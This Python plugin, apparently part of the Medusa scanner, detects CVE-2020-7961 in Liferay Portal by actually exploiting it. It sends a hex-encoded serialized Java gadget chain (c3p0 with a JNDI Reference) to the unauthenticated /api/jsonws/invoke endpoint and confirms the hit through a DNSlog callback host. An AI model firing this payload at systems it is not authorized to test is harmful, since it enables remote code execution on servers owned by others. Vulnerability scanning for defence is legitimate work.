#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'Ascotbe'
from ClassCongregation import VulnerabilityDetails,UrlProcessing,ErrorLog,WriteFile,ErrorHandling,Proxies,Dnslog
import binascii
import urllib3
import requests
import time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="CVE-2020-7961" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2020-5-1"  # 插件编辑时间
        self.info['disclosure'] = '2020-4-28'  # 漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "LiferayPortalRemoteCommandExecutionVulnerability"  # 插件名称
        self.info['name'] ='LiferayPortal远程命令执行漏洞' #漏洞名称
        self.info['affects'] = "Liferay"  # 漏洞组件
        self.info['desc_content'] = "该洞是个反序列化导致的rce，通过未授权访问其api传递json数据进行反序列化，危害较高"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['version'] = "Liferay:6.1.X\r\nLiferay:6.2.X\r\nLiferay:7.0.X\r\nLiferay:7.1.X\r\nLiferay:7.2.X"  # 这边填漏洞影响的版本
        self.info['suggest'] = "升级最新Liferay版本"  # 修复建议
        self.info['details'] = Medusa  # 结果


def medusa(Url:str,Headers:dict,proxies:str=None,**kwargs)->None:
    proxies=Proxies().result(proxies)
    scheme, url, port = UrlProcessing().result(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:
        payload = '/api/jsonws/invoke'
        payload_url = scheme + "://" + url + ":" + str(port) + payload

        Headers['Accept']='text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
        Headers["Accept-Language"]="zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"
        Headers["Accept-Encoding"]="gzip, deflate"
        Headers["Content-Type"]="application/x-www-form-urlencoded"
        Headers["Connection"]="close"

        DL=Dnslog()
        #DL="http://333.q7d5zn.dnslog.cn".encode('utf-8')
        hex_data = b'\xac\xed\x00\x05sr\x00=com.mchange.v2.naming.ReferenceIndirector$ReferenceSerializedb\x19\x85\xd0\xd1*\xc2\x13\x02\x00\x04L\x00\x0bcontextNamet\x00\x13Ljavax/naming/Name;L\x00\x03envt\x00\x15Ljava/util/Hashtable;L\x00\x04nameq\x00~\x00\x01L\x00\treferencet\x00\x18Ljavax/naming/Reference;xppppsr\x00\x16javax.naming.Reference\xe8\xc6\x9e\xa2\xa8\xe9\x8d\t\x02\x00\x04L\x00\x05addrst\x00\x12Ljava/util/Vector;L\x00\x0cclassFactoryt\x00\x12Ljava/lang/String;L\x00\x14classFactoryLocationq\x00~\x00\x07L\x00\tclassNameq\x00~\x00\x07xpsr\x00\x10java.util.Vector\xd9\x97}[\x80;\xaf\x01\x03\x00\x03I\x00\x11capacityIncrementI\x00\x0celementCount[\x00\x0belementDatat\x00\x13[Ljava/lang/Object;xp\x00\x00\x00\x00\x00\x00\x00\x00ur\x00\x13[Ljava.lang.Object;\x90\xceX\x9f\x10s)l\x02\x00\x00xp\x00\x00\x00\nppppppppppxt\x00\x03Expt\x00\x1b%st\x00\x03Foo' % DL.dns_host().encode('utf-8')
        data=str(binascii.hexlify(hex_data),encoding = "utf-8")
        post_data= """cmd={"/expandocolumn/update-column":{}}&p_auth=<validtoken>&formDate=<date>&columnId=123&name=asdasd&type=1&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:"""+data+""";"}"""
        resp=requests.post(payload_url,data=post_data,headers=Headers, proxies=proxies, timeout=6, verify=False)
        time.sleep(3)
        if DL.result():
            Medusa = "{}存在LiferayPortal远程命令执行漏洞(CVE-2020-7961)\r\n验证数据:\r\n漏洞位置:{}\r\nPOST数据包:{}\r\n随机的DNSLOG:{}\r\n返回数据包:{}\r\n".format(url,payload_url,post_data,DL.dns_host(),resp.text)
            _t = VulnerabilityInfo(Medusa)
            VulnerabilityDetails(_t.info, url,**kwargs).Write()  # 传入url和扫描到的数据
            WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ErrorHandling().Outlier(e, _)
        _l = ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e)#调用写入类
